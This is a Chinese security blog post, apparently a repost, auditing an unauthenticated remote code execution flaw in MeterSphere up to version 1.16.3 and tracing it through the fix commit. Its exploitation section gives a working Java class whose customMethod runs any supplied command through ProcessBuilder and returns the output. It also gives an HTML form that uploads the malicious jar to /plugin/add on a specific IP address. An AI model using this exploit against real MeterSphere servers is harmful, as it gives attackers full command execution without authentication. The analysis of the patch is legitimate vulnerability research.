MeterSphere 未授权RCE-代码审计

admin 2025年2月15日23:55:21评论7 views字数 1468阅读4分53秒阅读模式
0x01 代码分析

版本<=1.16.3
查看修复日志
https://github.com/metersphere/metersphere/pull/9135/commits/9927d2c587a2b388ee5d633f6cc31346df4415de
MeterSphere 未授权RCE-代码审计
将/plugin/** 这个路由的未授权删除了,全局搜索/plugin定位到功能代码
MeterSphere 未授权RCE-代码审计
MeterSphere 未授权RCE-代码审计
跟进add方法中的
pluginService.editPlugin(file) 
MeterSphere 未授权RCE-代码审计
跟进
MeterSphere 未授权RCE-代码审计
MeterSphere 未授权RCE-代码审计
在loadJar方法中使用URLClassLoader来加载jar包,将jar包的类加载进来;
然后我们可以看到
io.metersphere.controller.PluginController#customMethod中只有一行代码;
return luginService.customMethod(request)
跟进去
MeterSphere 未授权RCE-代码审计
会调用指定类的customMethod方法,我们可以写一个恶意类然后定义一个
customMethod然后来调用他
0x02 漏洞利用

import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;public class hackx {    public void init(){       System.out.println("init Inject success");    }    public StringcustomMethod(String cmd) throws IOException {        InputStream in = newProcessBuilder(cmd).start().getInputStream();        ByteArrayOutputStream baos =new ByteArrayOutputStream();        byte[] b = new byte[1024];        int a = -1;        while ((a = in.read(b)) !=-1) {            baos.write(b, 0, a);        }        return newString(baos.toByteArray());    }}
编译后打包为jar
MeterSphere 未授权RCE-代码审计
新建文件上传表单
<!DOCTYPE html><html><body><form action="http://101.43.71.57:8081/plugin/add"method="POST" enctype="multipart/form-data"><!-- <input type="hidden"name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />--><input type="file" name="file" /><input type="text" name="UploadType"value="file" /><input type="submit" value="submit" /></form></body></html>

传上去后,调用customMethod方法,执行命令
MeterSphere 未授权RCE-代码审计
0x03 记录

classloader 与 Class.forname的区别:
https://blog.csdn.net/wt520it/article/details/83014038
MeterSphere 未授权RCE-代码审计
该处也可以将恶意代码写入到static代码块中,但仍需要利用customMethod来触发代码块中代码。
通过class.forname触发
MeterSphere 未授权RCE-代码审计
 

原文始发于微信公众号(长白山攻防实验室):MeterSphere 未授权RCE-代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:55:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MeterSphere 未授权RCE-代码审计http://cn-sec.com/archives/1076248.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息